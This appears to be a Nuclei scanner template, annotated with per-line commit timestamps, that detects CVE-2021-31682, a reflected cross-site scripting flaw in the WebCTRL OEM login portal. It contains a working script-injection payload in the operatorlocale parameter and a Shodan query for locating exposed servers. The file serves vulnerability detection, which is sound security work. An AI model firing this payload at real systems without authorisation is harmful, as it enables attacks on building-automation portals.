2021-10-30 10:04:42 +00:00
id : CVE-2021-31682
info :
2022-09-09 17:34:37 +00:00
name : WebCTRL OEM <= 6.5 Cross-Site Scripting
2021-10-30 10:04:42 +00:00
author : gy741,dhiyaneshDk
severity : medium
2022-04-22 10:38:41 +00:00
description : WebCTRL OEM 6.5 and prior is susceptible to a cross-site scripting vulnerability because the login portal does not sanitize the operatorlocale GET parameter.
2021-10-30 10:04:42 +00:00
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2021-31682
- https://github.com/3ndG4me/WebCTRL-OperatorLocale-Parameter-Reflected-XSS
2022-05-17 09:18:12 +00:00
- https://www.automatedlogic.com/en/products-services/webctrl-building-automation-system/
2021-10-30 10:04:42 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-10-30 10:04:42 +00:00
cve-id : CVE-2021-31682
cwe-id : CWE-79
metadata :
2022-04-22 10:38:41 +00:00
shodan-query : html:"/_common/lvl5/dologin.jsp"
2022-04-15 16:39:44 +00:00
tags : cve,cve2021,webctrl,xss
2021-10-30 10:04:42 +00:00
requests :
- method : GET
path :
2021-10-31 11:26:16 +00:00
- '{{BaseURL}}/index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'
2021-10-30 10:04:42 +00:00
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
part : body
2021-10-31 11:26:16 +00:00
condition : and
words :
- '"><script>alert(document.domain)</script>'
- 'common/lvl5'
2021-10-30 10:04:42 +00:00
- type : word
2021-10-31 11:26:16 +00:00
part : header
2021-10-30 10:04:42 +00:00
words :
- "text/html"
2022-04-15 16:39:44 +00:00
# Enhanced by mp on 2022/04/13